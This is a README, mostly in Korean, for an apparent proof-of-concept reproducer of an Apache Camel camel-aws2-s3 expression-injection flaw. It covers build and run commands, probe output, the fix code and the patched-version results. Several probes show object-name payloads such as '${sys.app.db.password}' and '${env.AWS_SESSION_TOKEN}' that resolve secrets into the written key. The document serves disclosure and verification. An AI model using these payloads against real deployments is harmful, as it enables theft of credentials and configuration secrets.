
CVE-2026-95664에 대한 실행 가능한 Spring Boot 및 Quarkus 재현 프로그램으로, camel-aws2-s3의 CamelAwsS3Key 헤더를 통한 Simple 표현식 주입을 시연하고 수정 사항을 검증합니다.
camel-aws2-s3 프로듀서가 CamelAwsS3Key 메시지 헤더에서 객체 키를 가져왔고 — 4.8.0부터 —
AWS2S3Utils.determineKey()가 해당 값에 ${ 또는 $simple{가 포함되어 있으면 그 값을 Simple 언어에
전달하여, 라우트가 동적 키를 사용할 수 있었던 Apache Camel 취약점에 대한 실행 가능한 개념 증명(PoC) 재현기입니다.
이 평가는 라우트에서 구성한 keyName 옵션에 대해서뿐만 아니라 헤더에서 가져온 값에 대해서도 동일하게 적용되었습니다.
| 런타임 | 디렉터리 | 스택 |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-aws2-s3 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0) |
헤더는 라우트 구성이 아닙니다. aws2-s3 컨슈머는 생성하는 모든 exchange에 CamelAwsS3Key를
자신이 읽은 객체의 키, 즉 버킷에 있는 객체의 이름으로 설정합니다. 하나의 aws2-s3 엔드포인트에서
소비하여 다른 엔드포인트로 프로듀스하는 것 외에는 아무것도 하지 않는 라우트에서도, 소비된 각 객체의
이름이 프로듀서에 도달하여 평가되었습니다.
이러한 라우트가 소비하는 버킷에서 객체 이름을 선택할 수 있는 사람 — 일반적으로 해당 버킷에 업로드할 수
있는 모든 주체 — 은 자신이 원하는 Simple 표현식을 Camel 프로세스 내부에서 평가되게 할 수 있었습니다.
Simple은 흔히 자격 증명을 담고 있는 JVM 시스템 속성, 환경 변수, 구성 속성을 읽을 수 있으며,
camel-bean이 클래스패스에 있으면 레지스트리 빈의 메서드를 호출할 수도 있습니다.
프로듀서에 keyName을 구성하는 것은 보호 수단이 아니었습니다. 헤더가 그것보다 우선하기 때문입니다.
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
영향을 받는 빌드에서의 출력(두 런타임 모두 동일):
Route under attack: from("direct:archive").to("aws2-s3://archive-bucket?amazonS3Client=#s3Client®ion=eu-west-1&autoCreateBucket=false&keyName=archived.txt")
The route configures a FIXED destination key: keyName=archived.txt. It never asks for a
dynamic key. The CamelAwsS3Key header, which the aws2-s3 consumer sets to the name of the
object it read, takes precedence over that option.
Values the deployment holds but the route never references:
system property app.db.password = PROD-DB-PASSWORD-s3cr3t-77
environment AWS_SESSION_TOKEN = ENV-SESSION-TOKEN-s3cr3t-88
1) An ordinary object name in the consumed bucket: 'invoice-2026.pdf'
key the producer wrote: [invoice-2026.pdf]
2) An object an uploader named '${sys.app.db.password}'
key the producer wrote: [PROD-DB-PASSWORD-s3cr3t-77]
the JVM system property was resolved into the key: true
3) An object an uploader named '${env.AWS_SESSION_TOKEN}'
key the producer wrote: [ENV-SESSION-TOKEN-s3cr3t-88]
the environment variable was resolved into the key: true
4) The $simple{} marker is handled the same way: '$simple{routeId}-${exchangeId}'
key the producer wrote: [route1-D953127238C9F86-0000000000000000]
evaluated rather than used literally: true
5) CONTROL - the same object name through a route doing removeHeader("CamelAwsS3Key")
key the producer wrote: [archived.txt]
the configured keyName was used instead: true
>>> PROVEN: ...
Probe 5는 아직 업그레이드할 수 없는 배포 환경을 위해 권고문에서 제시한 우회 방법이 실제로 동작하는 모습을 보여줍니다.
AWS 계정도, 네트워크도 없습니다. 재현기는 프로듀서가 실제로 쓰기를 요청한 키를 캡처하는 S3용 녹화 대역(amazonS3Client=#s3Client)을 등록합니다. 이 키가 바로 관찰해야 하는 유일한 대상입니다. 실제 AWS2S3Producer와 실제 AWS2S3Utils.determineKey()가 실행되며, 맨 마지막의 SDK 호출만 캡처됩니다.
드라이버는 소비된 객체의 이름으로 CamelAwsS3Key를 설정하는데, 이는 aws2-s3 컨슈머가 하는 동작과 정확히 같으므로 컨슈머 측에는 자체 버킷이 필요하지 않습니다.
이 대역은
headBucket에도 응답하는데, 이는AWS2S3Endpoint.doStart()가 라우트를 시작하기 전에 버킷이 존재하는지 확인하기 때문입니다. 이 확인은 취약점과 무관합니다.
| 속성 | 값 |
|---|---|
| 구성 요소 | camel-aws2-s3 (AWS2S3Utils.determineKey()) |
| CWE | CWE-917 (표현식 언어 주입) |
| 심각도 | 중간 |
| 공격 벡터 | aws2-s3 라우트가 소비하는 버킷 내 객체의 이름으로, ${ 또는 $simple{를 포함하며 CamelAwsS3Key를 통해 프로듀서로 전달됨 |
| 영향 | Camel 프로세스에서 Simple 표현식을 평가: 시스템 속성, 환경 변수, 구성 속성 읽기; camel-bean이 존재하는 경우 레지스트리 빈의 메서드 호출 |
| 영향받는 버전 | 4.8.0부터 4.18.5 이전, 4.19.0부터 4.22.2 이전 (4.8.0 이전 릴리스는 헤더 값을 그대로 사용했으며 영향받지 않음) |
| 수정된 버전 | 4.18.5, 4.22.2, 4.23.0 |
| JIRA | CAMEL-24901 |
| 크레딧 | Andrea Cosentino from Apache Software Foundation |
권고문: https://camel.apache.org/security/CVE-2026-95664.html
버킷 이름도 동일한 평가를 거쳤지만, 컨슈머는 자체 엔드포인트에 구성된 버킷만 버킷 헤더에 넣을 뿐 원격 객체에서 파생된 값을 넣지 않으므로, 버킷 이름은 이 경로로 도달할 수 없었습니다.
라우트에서 구성한 키만 동적 Simple 표현식이 될 수 있습니다. 이제 헤더를 통해 제공된 키는 그대로 사용되며 절대 평가되지 않습니다:
String key = exchange.getIn().getHeader(AWS2S3Constants.KEY, String.class);
if (ObjectHelper.isEmpty(key)) {
// only the configured key (supplied by the route) may be a dynamic simple expression;
// a key provided through the header is used literally and never evaluated
key = configuration.getKeyName();
if (key != null && hasSimpleFunction(key)) { ... evaluate ... }
}
main에서 apache/camel#26746(1fd7a667)으로 수정되었으며, camel-4.22.x와 camel-4.18.x로 백포트되었습니다.
업그레이드 후에는 메시지 헤더를 통해 제공된 키 또는 버킷 이름이 그대로 사용됩니다. 따라서 CamelAwsS3Key 또는 CamelAwsS3OverrideBucketName에 의도적으로 평가되지 않은 Simple 표현식을 넣었던 라우트는 이제 라우트 자체에서 이를 평가하거나(setHeader(..., simple(...))), 엔드포인트의 keyName / bucketName 옵션으로 구성해야 합니다.
camel.version을 4.22.2로 설정하고 다시 실행하세요. 4.22.1 → 4.22.2에서 검증되었습니다:
2) An object an uploader named '${sys.app.db.password}'
key the producer wrote: [${sys.app.db.password}]
the JVM system property was resolved into the key: false
4) ... key the producer wrote: [$simple{routeId}-${exchangeId}]
evaluated rather than used literally: false
>>> NOT reproduced: the header was used literally.
이 저장소는 교육 및 방어 목적으로 게시되었습니다. Apache Camel 사용자가 취약점을 이해하고, 영향을 받는지 확인하며, 업그레이드로 문제가 해결되는지 검증할 수 있도록 돕기 위한 것입니다. 소유하거나 운영하지 않는 시스템에 이 자료를 사용하지 마십시오.